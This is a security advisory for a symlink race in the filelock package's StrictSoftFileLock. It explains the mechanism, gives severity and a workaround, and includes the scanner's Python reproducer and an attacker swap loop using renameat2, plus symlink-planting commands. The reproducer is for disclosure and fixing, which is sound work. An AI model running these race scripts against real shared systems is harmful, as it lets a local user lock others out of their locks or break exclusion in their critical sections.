When T/claims already exists, the mkdir takes the FileExistsError branch, lstat sees a real directory, and the same scan and publication run on the existing directory. With T/claims holding a file secret-name.txt and an old .held-v1-<hex>.claim.private-v1-<hex>.tmp, the lock user's process raises SoftFileLockProtocolError: … claim 'secret-name.txt': unknown claim name or protocol version. _reclaim_private_record unlinks the private-record file. intent-*.claim files and a clock-probe file from _filesystem_now stay behind.

The window is a few lines of Python between two system calls, but the other user does not aim at it. renameat2 with RENAME_EXCHANGE flips the name in a loop, so each system call of the lock user sees the directory or the link more or less at random. An attempt that sees the link at the lstat raises SoftFileLockProtocolError. One that sees the directory there and the link at the next mkdir is a hit. Four other ways reach the same by-name resolution. The scanner observed each of them at the same commit, with victim and attacker as separate accounts and default lock options.

The first way strands claims in another strict lock. With the swapped-in link pointing at the coordination directory of a second lock of the lock user (/home/victim/private/db.lock.filelock, parent mode 0700), 200 acquires of the shared lock left 7 to 17 well-formed intent-v1-*.claim and held-v1-*.claim files in the second lock's claims. No process holds that lock, yet StrictSoftFileLock("/home/victim/private/db.lock", timeout=1) raises Timeout from then on, until an operator force-breaks each stranded claim.

The second way swaps one component lower, at claims. The claim scan does not use a descriptor (an open handle that stays bound to one directory whatever its name later points to). os.scandir(directory), the record reads, _reclaim_private_record (called with its descriptor slot set to None) and the clock probe in _filesystem_now (os.open(directory / name, O_CREAT | O_EXCL | O_NOFOLLOW) followed by probe.unlink()) all go by pathname. For a sticky directory, the other user needs to have created <path>.filelock first. It then puts a real claims directory (mode 1777) in it with one empty file named .held-v1-<32 zeros>.claim.private-v1-<32 zeros>.tmp, so that every scan calls the probe, and exchanges claims with a link in a loop.

After 200 acquires by the lock user, 14 to 42 one-byte, mode 0600, lock-user-owned files named .held-v1-<hex>.claim.private-v1-<hex>.tmp are in the 0700 directory the link points to. The probe open went through the link, and the pathname unlink ran after claims was a directory again and got ENOENT. A swap at this level does not affect publication or release, because there _open_directory's O_NOFOLLOW does cover claims.

The third way is claims with no race. The property calls _read_existing_claims on an instance that did not go through _acquire, and directory.exists() and os.scandir(directory) both follow a link. After the other user runs mkdir /tmp/work.lock.filelock; ln -s /home/victim/private /tmp/work.lock.filelock/claims, acquire() refuses with "is not a real directory". The inspection loop from docs/how-to.rst (for claim in lock.claims: ...) raises SoftFileLockProtocolError: … claim 'customer-1123f274.db': unknown claim name or protocol version. That names the first non-hidden entry, in sort order, of a directory the other user cannot list. A missing or empty target returns (), a non-directory gives "Not a directory" and an unreadable directory "Permission denied", so the call also tells those apart.

The fourth way is force_break() with no race. It confirms the name with a by-name os.scandir in _require_exact_name and unlinks through _unlink_in_directory, where O_NOFOLLOW again covers claims only. After the other user's one command ln -s /home/victim/private/db.lock.filelock /tmp/service.lock.filelock, the recovery loop from docs/tutorials.rst run by the lock user on /tmp/service.lock (for claim in stale.claims: stale.force_break(claim.name)) lists and removes the held and intent claims of the live holder of /home/victim/private/db.lock. A second process then acquires that lock while the first is still in its critical section with is_locked == True. The first holder's release() later finds its claims gone, counts ENOENT as removed and returns without error. Only a directory named claims below the link's target is reachable, so the targets are other strict locks, not arbitrary files.

Reproduction

The scanner's reproducer for finding ANT-2026-SVFEYX89, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.

repro

#!/usr/bin/env python3
import collections
import os
import pwd
import shutil
import stat
import subprocess
import sys

as_victim = {"user": "victim", "group": "victim", "extra_groups": []}
as_attacker = {"user": "attacker", "group": "attacker", "extra_groups": []}
victim_job = [sys.executable, "/tmp/repro.d/victim_job.py"]
attacker_swap_loop = [sys.executable, "/tmp/repro.d/attacker_swap_loop.py"]
victim_uid = pwd.getpwnam("victim").pw_uid

# set up: a directory both users can write (0777, no sticky bit) and one only the victim can write.
# The shared one is on tmpfs to keep the attacker's rename loop off the container's disk.
shared = "/dev/shm/filelock-repro-shared"
private = "/tmp/filelock-repro-private"
shutil.rmtree(shared, ignore_errors=True)
shutil.rmtree(private, ignore_errors=True)
os.mkdir(shared)
os.chmod(shared, 0o777)
os.mkdir(private, 0o700)
shutil.chown(private, "victim", "victim")

own_mkdir = subprocess.run(["mkdir", f"{private}/claims"], capture_output=True, text=True, **as_attacker)
print(f"CONTROL attacker's own mkdir: {own_mkdir.stderr.strip()}")

subprocess.run(["ln", "-s", private, f"{shared}/static.lock.filelock"], check=True, **as_attacker)
refused = subprocess.run([*victim_job, f"{shared}/static.lock"], capture_output=True, text=True, check=True, **as_victim)
print(f"CONTROL symlink resting at static.lock.filelock: {refused.stdout.strip()}; private directory holds {os.listdir(private)}")

# the job has run before, undisturbed, so work.lock.filelock is the victim's own directory
first_run = subprocess.run([*victim_job, f"{shared}/work.lock"], capture_output=True, text=True, check=True, **as_victim)
coordination = os.lstat(f"{shared}/work.lock.filelock")
print(f"CONTROL undisturbed job: {first_run.stdout.strip()}; work.lock.filelock is {stat.filemode(coordination.st_mode)}, owner uid {coordination.st_uid}")
private_before_attack = os.listdir(private)
print(f"CONTROL private directory holds {private_before_attack}")

# attack: the attacker keeps exchanging work.lock.filelock with a symlink to the private directory
# while the job keeps running; each run is one more chance to land between the check and the use
swapper = subprocess.Popen([*attacker_swap_loop, f"{shared}/work.lock", private], **as_attacker)
job_outcomes = collections.Counter()
while job_outcomes.total() < 200 and not os.listdir(private):
    job = subprocess.run([*victim_job, f"{shared}/work.lock"], capture_output=True, text=True, **as_victim)
    job_outcomes[job.stdout.strip()] += 1
assert swapper.poll() is None, "the attacker's swap loop stopped on its own"
swapper.kill()
swapper.wait()

# check: the victim's lock created "claims" inside the directory the attacker could not write
print(f"OBSERVED {job_outcomes.total()} runs of the job printed {dict(job_outcomes)}")
print(f"OBSERVED private directory holds {os.listdir(private)}")
redirected = False
if os.path.lexists(f"{private}/claims"):
    claims = os.lstat(f"{private}/claims")
    print(f"OBSERVED {private}/claims is {stat.filemode(claims.st_mode)}, owner uid {claims.st_uid} (victim is {victim_uid}), holds {os.listdir(f'{private}/claims')}")
    redirected = stat.S_ISDIR(claims.st_mode) and claims.st_uid == victim_uid
print("BUG" if private_before_attack == [] and redirected else "OK")

repro.d/attacker_swap_loop.py

import ctypes
import os
import sys
import time

lock_path, target_directory = sys.argv[1], sys.argv[2]
coordination_directory = f"{lock_path}.filelock".encode()
symlink_to_target = f"{lock_path}.decoy".encode()
os.symlink(target_directory, symlink_to_target)

renameat2 = ctypes.CDLL(None, use_errno=True).renameat2
AT_FDCWD = -100
RENAME_EXCHANGE = 2
give_up_at = time.monotonic() + 300
while time.monotonic() < give_up_at:
    # one atomic syscall: the name always exists, as the victim's directory or as the symlink
    if renameat2(AT_FDCWD, coordination_directory, AT_FDCWD, symlink_to_target, RENAME_EXCHANGE) != 0:
        raise OSError(ctypes.get_errno(), "renameat2(RENAME_EXCHANGE)")

repro.d/victim_job.py

import sys

from filelock import StrictSoftFileLock

try:
    with StrictSoftFileLock(sys.argv[1], timeout=1):
        print("job ran")
except OSError as error:  # filelock.Timeout and SoftFileLockProtocolError are both OSError
    print(f"job skipped: {type(error).__name__}")

Attack sequence

sequenceDiagram
    participant X as other local user
    participant N as work.lock.filelock (name in shared dir)
    participant V as job of the lock user (StrictSoftFileLock, timeout=1)
    participant T as /tmp/private (0700, lock user only)
    X->>N: plant work.lock.decoy -> T, loop renameat2(RENAME_EXCHANGE)
    rect rgb(207, 228, 255)
        V->>N: lstat work.lock.filelock: a real directory
    end
    rect rgb(255, 214, 214)
        X->>N: exchange lands: name is now the symbolic link to T
        V->>T: mkdir work.lock.filelock/claims creates T/claims (owned by the lock user)
        V->>T: scan, publish intent-v1-<token>.claim, link held-v1-<token>.claim in T/claims
        X->>N: exchange again: name is the directory
        V->>N: release(): unlink by path gets ENOENT, counted as removed
        Note over V,T: T/claims and its claim files stay behind#59; aimed at another lock's .filelock they block that lock
    end
    Note over V,N: a miss: lstat sees the symbolic link, SoftFileLockProtocolError, next run tries again

Evidence

The scanner's reproducer (commit b831496, Linux 6.1 x86_64, CPython 3.14, fs.protected_symlinks=1) creates /dev/shm/filelock-repro-shared (0777, no sticky bit) and /tmp/filelock-repro-private (0700, owned by victim). Three controls run first. The other account's own mkdir in the private directory answers Permission denied. A link resting at static.lock.filelock gives job skipped: SoftFileLockProtocolError with the private directory holding []. An undisturbed job prints job ran and leaves work.lock.filelock as drwxr-xr-x, owner uid 1000.

Then the swap loop starts and the job (with StrictSoftFileLock(path, timeout=1)) runs up to 200 times until the private directory is no longer empty. That took 1 to 8 runs, about 1.5 s in total. Afterwards claims, a directory owned by uid 1000 and mode 0755, is in the private directory; in some runs it holds intent-v1-<token>.claim and held-v1-<token>.claim files. Verdict BUG. In a 1777 directory on tmpfs (a memory-backed filesystem), with the other account having created <path>.filelock first, the lock user created T/claims after 4, 22 and 2 runs in three trials. The scanner ran the four further cases under Mechanism in separate runs with the same accounts.

Our review ran the reproducer against the 4.2.0 release image and the scanned commit (BUG on both) and against the head of #839 (OK: all 200 runs completed with the private directory empty). The review's regression tests on POSIX cover the claims-level swap and the force_break() case. We did not verify Windows.

Impact

Another local user who can rename <path>.filelock makes the lock user's process create a directory named claims, mode 0777 & ~umask (umask: the process's default permission mask), inside any directory that process can write, and leave claim files in it. The other user chooses the location only. filelock fixes the directory name, and the files contain filelock's own claim record (magic, token, PID, host name, start token). The process overwrites or truncates nothing that exists. This amounts to directory and file creation outside the lock's directory with the lock user's privileges, not a write of chosen data.

Where the chosen directory already has a claims subdirectory, the lock user's process also scans it, unlinks entries named like stale private records, and raises an error that quotes the first other file name in it. Aimed at another strict lock's .filelock directory, the stranded claims deny that lock to every process until an operator finds and force_break()s each one. Without this the other user has no way to affect a lock in a directory it cannot enter. The swap at claims leaves one-byte 0600 dot-files instead of claims.

Through claims, another user learns one file name per planted link from a directory only the lock user can list, and whether a guessed path is missing or empty, a file or a directory. This needs the exception text or its claim_name to reach that user (a shared log, CI output, an error report); on its own this disclosure is minor. The force_break() variant puts two processes inside a different strict lock's critical section, one the other user can neither list nor write, with neither told. That happens only when the lock user runs the tutorial's blind recovery loop.

This shares only the bug class with GHSA-j8f7-rjxc-mr56 (the symbolic link at the ReadWriteLock database path, fixed in 4.0.9). There the other user chose the file the lock opened. Here the link sits one component above the final one, the other user swaps it in after the check that refuses it, and it chooses only the parent directory.

Workarounds

Keep strict locks in a directory no other user can write. In a sticky shared directory, create <path>.filelock as the service user before any other account can, and check its owner before first use. Do not run the recovery loop from docs/tutorials.rst on a lock in a shared directory without first verifying, as docs/how-to.rst says, that the owner named in each claim is gone. Treat an unexpected SoftFileLockProtocolError that quotes an unknown claim name as a sign that claims may point elsewhere. Keep the exception text of claims out of logs other accounts can read. On Windows, keep the lock directory writable only by trusted users.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/839

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

  • 2026-10-15 23:08 UTC: report received (finding ANT-2026-SVFEYX89, scanned commit b831496b0273)
  • 2026-10-16 01:31 UTC: fix PR #839 opened
  • 2026-10-16 05:41 UTC: draft advisory created (first as part of GHSA-9c4x-gm8v-wgc4, then split into this advisory)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "filelock"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.30.0"
            },
            {
              "fixed": "4.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-363"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-28T21:08:23Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "`StrictSoftFileLock` and `AsyncStrictSoftFileLock` check `\u003cpath\u003e.filelock` (the coordination directory that holds the lock\u0027s state) with one `lstat` call on its name. `lstat` reports what a name is without following a symbolic link (a file that redirects to another path). After that check, the code reaches `\u003cpath\u003e.filelock/claims` by pathname for every later operation (`mkdir`, scan, publish, link, unlink). `_open_directory` passes `O_NOFOLLOW` (a flag that makes an open fail when the final name is a symbolic link), but the flag covers only the final `claims` component. The kernel follows a symbolic link in any earlier component.\n\nAnother local user (the other user below) who can rename `\u003cpath\u003e.filelock` exchanges it for a symbolic link after the check. In a shared directory without the sticky bit (a directory flag that lets only a file\u0027s owner rename or remove it), any user with write access can do this. Where the shared directory is sticky, such as `/tmp`, only the user who created `\u003cpath\u003e.filelock` before the user running the lock (the lock user below) first used it can. The lock user\u0027s process (root\u0027s, if root takes the lock) then creates a `claims` directory and claim files (the files whose presence says a process wants or holds the lock) inside a directory the other user chooses but only the lock user can write.\n\nWhen the link points at another strict lock\u0027s `.filelock` directory, the stranded claims make that lock time out for every process until an operator finds and force-breaks each one. The `claims` property and `force_break()` resolve the same path with no check at all. Affected versions: filelock \u003e= 3.30.0 and \u003c= 4.2.0 (finding `ANT-2026-SVFEYX89`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H, 5.8 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): the swap must land between the `lstat` and the next `mkdir`. The other user does not aim at that window. It flips the name in a loop with `renameat2(RENAME_EXCHANGE)` (a system call that swaps two names in one step) across repeated acquires, and won after 1 to 31 runs of the lock user\u0027s program in the scanner\u0027s trials. A sticky directory also requires it to have created `\u003cpath\u003e.filelock` first. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user\u0027s process acts on its own.\n\n`C:L` (low confidentiality impact): through `claims`, one file name per planted link from a directory only the lock user can list. `I:L` (low integrity impact): a directory named `claims` and files with filelock\u0027s fixed claim names and contents appear, created with the lock user\u0027s privileges, in a directory the other user chooses but cannot write. The process overwrites or truncates nothing that exists. `A:H` (high availability impact): aimed at another strict lock of the lock user, the stranded claims deny that lock to every process until an operator finds and force-breaks each one. Classification from the review: security, conditional on the other user being able to rename the intermediate component. The scanner rated it high (CWE-363).\n\n## Scope and preconditions\n\n- The other user can rename `\u003cpath\u003e.filelock`. In a writable directory without the sticky bit (a `0777` or group-writable project or cache directory), any user with write permission on the directory can, even though the lock user created and owns `\u003cpath\u003e.filelock`. In a sticky directory such as `/tmp`, only the user who created `\u003cpath\u003e.filelock` before the lock user\u0027s first use can, because that user then owns both the directory and the symbolic link (the planting precondition of GHSA-9c4x-gm8v-wgc4).\n- The link\u0027s target is a directory the lock user can write. The effect that matters is on that directory. An acquire that completes through the link also holds the shared lock with its claims elsewhere, but a user who can rename `\u003cpath\u003e.filelock` can defeat that lock\u0027s exclusion anyway.\n- `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user\u0027s symbolic link in a world-writable sticky directory) does not interfere. The link is an intermediate path component, not the last one. In the sticky-directory case it also sits in a directory the other user owns.\n- Missed attempts show up to the lock user as `SoftFileLockProtocolError` or `FileNotFoundError`. The swap therefore works against a lock that a program takes more than once: a periodic job, a worker pool, or a caller that retries or waits with a timeout (each poll of a waiting acquisition is a new attempt).\n- The two entry points that need no race (`claims` and `force_break()` on a resting symbolic link) depend on the lock user inspecting or recovering the lock. The planted link invites this by making `acquire()` fail with a protocol error. The `force_break()` variant works only when the lock user breaks claims that name a live process on its own host without checking them first, as the recovery loop in `docs/tutorials.rst` does. `docs/how-to.rst` tells the operator to verify that the named owner is gone before breaking.\n- Platform: POSIX, demonstrated on Linux (tmpfs and overlayfs). Windows has no `dir_fd` (file operations relative to an open directory handle), and on Windows the documented requirement is a lock directory that untrusted users cannot write.\n\nfilelock\u0027s checks against another local user hold only when no other user can replace the lock\u0027s directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the check and the first use are adjacent lines of [`StrictSoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L123-L128). There, [`_ensure_protocol_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L996-L1006) runs `lstat` on `\u003cpath\u003e.filelock` and then `mkdir` on `\u003cpath\u003e.filelock/claims`. [`_open_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L950-L954) passes `O_DIRECTORY | O_NOFOLLOW` but receives the full `\u003cpath\u003e.filelock/claims`. The claim scan goes by pathname in [`_read_existing_claims`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L509-L514) (`directory.exists()`) and [`_list_claim_names`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L433-L439) (`os.scandir(directory)`). So do [`_publish_record`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L572-L596), [`_link_no_replace`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L864-L881), [`_unlink_in_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L912-L939) and the clock probe in [`_filesystem_now`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L745-L763). The [`claims` property](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L235-L239) and [`force_break()`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L260-L267) take the directory from [`_claim_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L314-L318) by string concatenation, and [`_require_exact_name`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L1016-L1019) confirms the name with a by-name `os.scandir`.\n\n## Introduced\n\nThe by-name claim directory came with 650c17c79c54 (\"feat(strict): replace shared markers with owner claims\", #659, 2026-07-14), first released in 3.30.0. One effect is newer. The clock-probe files that a swap at `claims` leaves behind need `_filesystem_now`, added in 508d0548538f (\"fix(strict): age private records by the filesystem clock\", #792, 2026-10-07), first released in 4.1.0. Before that commit a claim scan created nothing. We checked both against the git tags.\n\n## Mechanism\n\nOn the benign path, `_ensure_protocol_directory(coordination_directory)` finds `\u003cpath\u003e.filelock` to be a real directory, and `_ensure_protocol_directory(claim_directory)` finds `claims` inside it. The doorway (the acquire step that scans existing claims and publishes the caller\u0027s own) then publishes into it. A symbolic link resting at `\u003cpath\u003e.filelock` stops at the first call with \"is not a real directory\". That answer describes the name at that instant only; nothing carries it forward. With the name exchanged for a link to a directory `T` between the two calls:\n\n- The second call runs `mkdir(\"\u003cpath\u003e.filelock/claims\")`, which creates `T/claims` with the lock user\u0027s credentials. The `mkdir` succeeds, so `_ensure_protocol_directory` returns without looking at anything.\n- `_attempt_doorway` then works in `T/claims` for as long as the name still points there. `_read_existing_claims` uses `directory.exists()` and `os.scandir(directory)`. `_publish_record` opens the claim directory by its full path and creates `.intent-v1-\u003ctoken\u003e.claim.private-v1-\u003chex\u003e.tmp` and `intent-v1-\u003ctoken\u003e.claim` (the intent claim, which announces a pending acquire) in it. When its intent wins the scan, `_link_no_replace` adds `held-v1-\u003ctoken\u003e.claim` (the held claim, which marks the lock as taken). `_open_directory` does pass `O_DIRECTORY | O_NOFOLLOW`, but on `\"\u003cpath\u003e.filelock/claims\"`, so the flag covers `claims` only.\n- Cleanup resolves the name again. `_unlink_in_directory` opens `\u003cpath\u003e.filelock/claims` by path. When the name is back at the real directory by then, the `unlink` gets `ENOENT` (the \"no such file\" error), which `_unlink_owner_path_result` counts as removed. The claim file stays in `T/claims`.\n\nWhen `T/claims` already exists, the `mkdir` takes the `FileExistsError` branch, `lstat` sees a real directory, and the same scan and publication run on the existing directory. With `T/claims` holding a file `secret-name.txt` and an old `.held-v1-\u003chex\u003e.claim.private-v1-\u003chex\u003e.tmp`, the lock user\u0027s process raises `SoftFileLockProtocolError: \u2026 claim \u0027secret-name.txt\u0027: unknown claim name or protocol version`. `_reclaim_private_record` unlinks the private-record file. `intent-*.claim` files and a clock-probe file from `_filesystem_now` stay behind.\n\nThe window is a few lines of Python between two system calls, but the other user does not aim at it. `renameat2` with `RENAME_EXCHANGE` flips the name in a loop, so each system call of the lock user sees the directory or the link more or less at random. An attempt that sees the link at the `lstat` raises `SoftFileLockProtocolError`. One that sees the directory there and the link at the next `mkdir` is a hit. Four other ways reach the same by-name resolution. The scanner observed each of them at the same commit, with `victim` and `attacker` as separate accounts and default lock options.\n\nThe first way strands claims in another strict lock. With the swapped-in link pointing at the coordination directory of a second lock of the lock user (`/home/victim/private/db.lock.filelock`, parent mode `0700`), 200 acquires of the shared lock left 7 to 17 well-formed `intent-v1-*.claim` and `held-v1-*.claim` files in the second lock\u0027s `claims`. No process holds that lock, yet `StrictSoftFileLock(\"/home/victim/private/db.lock\", timeout=1)` raises `Timeout` from then on, until an operator force-breaks each stranded claim.\n\nThe second way swaps one component lower, at `claims`. The claim scan does not use a descriptor (an open handle that stays bound to one directory whatever its name later points to). `os.scandir(directory)`, the record reads, `_reclaim_private_record` (called with its descriptor slot set to `None`) and the clock probe in `_filesystem_now` (`os.open(directory / name, O_CREAT | O_EXCL | O_NOFOLLOW)` followed by `probe.unlink()`) all go by pathname. For a sticky directory, the other user needs to have created `\u003cpath\u003e.filelock` first. It then puts a real `claims` directory (mode `1777`) in it with one empty file named `.held-v1-\u003c32 zeros\u003e.claim.private-v1-\u003c32 zeros\u003e.tmp`, so that every scan calls the probe, and exchanges `claims` with a link in a loop.\n\nAfter 200 acquires by the lock user, 14 to 42 one-byte, mode `0600`, lock-user-owned files named `.held-v1-\u003chex\u003e.claim.private-v1-\u003chex\u003e.tmp` are in the `0700` directory the link points to. The probe open went through the link, and the pathname `unlink` ran after `claims` was a directory again and got `ENOENT`. A swap at this level does not affect publication or release, because there `_open_directory`\u0027s `O_NOFOLLOW` does cover `claims`.\n\nThe third way is `claims` with no race. The property calls `_read_existing_claims` on an instance that did not go through `_acquire`, and `directory.exists()` and `os.scandir(directory)` both follow a link. After the other user runs `mkdir /tmp/work.lock.filelock; ln -s /home/victim/private /tmp/work.lock.filelock/claims`, `acquire()` refuses with \"is not a real directory\". The inspection loop from `docs/how-to.rst` (`for claim in lock.claims: ...`) raises `SoftFileLockProtocolError: \u2026 claim \u0027customer-1123f274.db\u0027: unknown claim name or protocol version`. That names the first non-hidden entry, in sort order, of a directory the other user cannot list. A missing or empty target returns `()`, a non-directory gives \"Not a directory\" and an unreadable directory \"Permission denied\", so the call also tells those apart.\n\nThe fourth way is `force_break()` with no race. It confirms the name with a by-name `os.scandir` in `_require_exact_name` and unlinks through `_unlink_in_directory`, where `O_NOFOLLOW` again covers `claims` only. After the other user\u0027s one command `ln -s /home/victim/private/db.lock.filelock /tmp/service.lock.filelock`, the recovery loop from `docs/tutorials.rst` run by the lock user on `/tmp/service.lock` (`for claim in stale.claims: stale.force_break(claim.name)`) lists and removes the `held` and `intent` claims of the live holder of `/home/victim/private/db.lock`. A second process then acquires that lock while the first is still in its critical section with `is_locked == True`. The first holder\u0027s `release()` later finds its claims gone, counts `ENOENT` as removed and returns without error. Only a directory named `claims` below the link\u0027s target is reachable, so the targets are other strict locks, not arbitrary files.\n\n## Reproduction\n\nThe scanner\u0027s reproducer for finding `ANT-2026-SVFEYX89`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport collections\nimport os\nimport pwd\nimport shutil\nimport stat\nimport subprocess\nimport sys\n\nas_victim = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nas_attacker = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\nvictim_job = [sys.executable, \"/tmp/repro.d/victim_job.py\"]\nattacker_swap_loop = [sys.executable, \"/tmp/repro.d/attacker_swap_loop.py\"]\nvictim_uid = pwd.getpwnam(\"victim\").pw_uid\n\n# set up: a directory both users can write (0777, no sticky bit) and one only the victim can write.\n# The shared one is on tmpfs to keep the attacker\u0027s rename loop off the container\u0027s disk.\nshared = \"/dev/shm/filelock-repro-shared\"\nprivate = \"/tmp/filelock-repro-private\"\nshutil.rmtree(shared, ignore_errors=True)\nshutil.rmtree(private, ignore_errors=True)\nos.mkdir(shared)\nos.chmod(shared, 0o777)\nos.mkdir(private, 0o700)\nshutil.chown(private, \"victim\", \"victim\")\n\nown_mkdir = subprocess.run([\"mkdir\", f\"{private}/claims\"], capture_output=True, text=True, **as_attacker)\nprint(f\"CONTROL attacker\u0027s own mkdir: {own_mkdir.stderr.strip()}\")\n\nsubprocess.run([\"ln\", \"-s\", private, f\"{shared}/static.lock.filelock\"], check=True, **as_attacker)\nrefused = subprocess.run([*victim_job, f\"{shared}/static.lock\"], capture_output=True, text=True, check=True, **as_victim)\nprint(f\"CONTROL symlink resting at static.lock.filelock: {refused.stdout.strip()}; private directory holds {os.listdir(private)}\")\n\n# the job has run before, undisturbed, so work.lock.filelock is the victim\u0027s own directory\nfirst_run = subprocess.run([*victim_job, f\"{shared}/work.lock\"], capture_output=True, text=True, check=True, **as_victim)\ncoordination = os.lstat(f\"{shared}/work.lock.filelock\")\nprint(f\"CONTROL undisturbed job: {first_run.stdout.strip()}; work.lock.filelock is {stat.filemode(coordination.st_mode)}, owner uid {coordination.st_uid}\")\nprivate_before_attack = os.listdir(private)\nprint(f\"CONTROL private directory holds {private_before_attack}\")\n\n# attack: the attacker keeps exchanging work.lock.filelock with a symlink to the private directory\n# while the job keeps running; each run is one more chance to land between the check and the use\nswapper = subprocess.Popen([*attacker_swap_loop, f\"{shared}/work.lock\", private], **as_attacker)\njob_outcomes = collections.Counter()\nwhile job_outcomes.total() \u003c 200 and not os.listdir(private):\n    job = subprocess.run([*victim_job, f\"{shared}/work.lock\"], capture_output=True, text=True, **as_victim)\n    job_outcomes[job.stdout.strip()] += 1\nassert swapper.poll() is None, \"the attacker\u0027s swap loop stopped on its own\"\nswapper.kill()\nswapper.wait()\n\n# check: the victim\u0027s lock created \"claims\" inside the directory the attacker could not write\nprint(f\"OBSERVED {job_outcomes.total()} runs of the job printed {dict(job_outcomes)}\")\nprint(f\"OBSERVED private directory holds {os.listdir(private)}\")\nredirected = False\nif os.path.lexists(f\"{private}/claims\"):\n    claims = os.lstat(f\"{private}/claims\")\n    print(f\"OBSERVED {private}/claims is {stat.filemode(claims.st_mode)}, owner uid {claims.st_uid} (victim is {victim_uid}), holds {os.listdir(f\u0027{private}/claims\u0027)}\")\n    redirected = stat.S_ISDIR(claims.st_mode) and claims.st_uid == victim_uid\nprint(\"BUG\" if private_before_attack == [] and redirected else \"OK\")\n```\n\n**`repro.d/attacker_swap_loop.py`**\n\n```python\nimport ctypes\nimport os\nimport sys\nimport time\n\nlock_path, target_directory = sys.argv[1], sys.argv[2]\ncoordination_directory = f\"{lock_path}.filelock\".encode()\nsymlink_to_target = f\"{lock_path}.decoy\".encode()\nos.symlink(target_directory, symlink_to_target)\n\nrenameat2 = ctypes.CDLL(None, use_errno=True).renameat2\nAT_FDCWD = -100\nRENAME_EXCHANGE = 2\ngive_up_at = time.monotonic() + 300\nwhile time.monotonic() \u003c give_up_at:\n    # one atomic syscall: the name always exists, as the victim\u0027s directory or as the symlink\n    if renameat2(AT_FDCWD, coordination_directory, AT_FDCWD, symlink_to_target, RENAME_EXCHANGE) != 0:\n        raise OSError(ctypes.get_errno(), \"renameat2(RENAME_EXCHANGE)\")\n```\n\n**`repro.d/victim_job.py`**\n\n```python\nimport sys\n\nfrom filelock import StrictSoftFileLock\n\ntry:\n    with StrictSoftFileLock(sys.argv[1], timeout=1):\n        print(\"job ran\")\nexcept OSError as error:  # filelock.Timeout and SoftFileLockProtocolError are both OSError\n    print(f\"job skipped: {type(error).__name__}\")\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant X as other local user\n    participant N as work.lock.filelock (name in shared dir)\n    participant V as job of the lock user (StrictSoftFileLock, timeout=1)\n    participant T as /tmp/private (0700, lock user only)\n    X-\u003e\u003eN: plant work.lock.decoy -\u003e T, loop renameat2(RENAME_EXCHANGE)\n    rect rgb(207, 228, 255)\n        V-\u003e\u003eN: lstat work.lock.filelock: a real directory\n    end\n    rect rgb(255, 214, 214)\n        X-\u003e\u003eN: exchange lands: name is now the symbolic link to T\n        V-\u003e\u003eT: mkdir work.lock.filelock/claims creates T/claims (owned by the lock user)\n        V-\u003e\u003eT: scan, publish intent-v1-\u003ctoken\u003e.claim, link held-v1-\u003ctoken\u003e.claim in T/claims\n        X-\u003e\u003eN: exchange again: name is the directory\n        V-\u003e\u003eN: release(): unlink by path gets ENOENT, counted as removed\n        Note over V,T: T/claims and its claim files stay behind#59; aimed at another lock\u0027s .filelock they block that lock\n    end\n    Note over V,N: a miss: lstat sees the symbolic link, SoftFileLockProtocolError, next run tries again\n```\n\n## Evidence\n\nThe scanner\u0027s reproducer (commit b831496, Linux 6.1 x86_64, CPython 3.14, `fs.protected_symlinks=1`) creates `/dev/shm/filelock-repro-shared` (`0777`, no sticky bit) and `/tmp/filelock-repro-private` (`0700`, owned by `victim`). Three controls run first. The other account\u0027s own `mkdir` in the private directory answers `Permission denied`. A link resting at 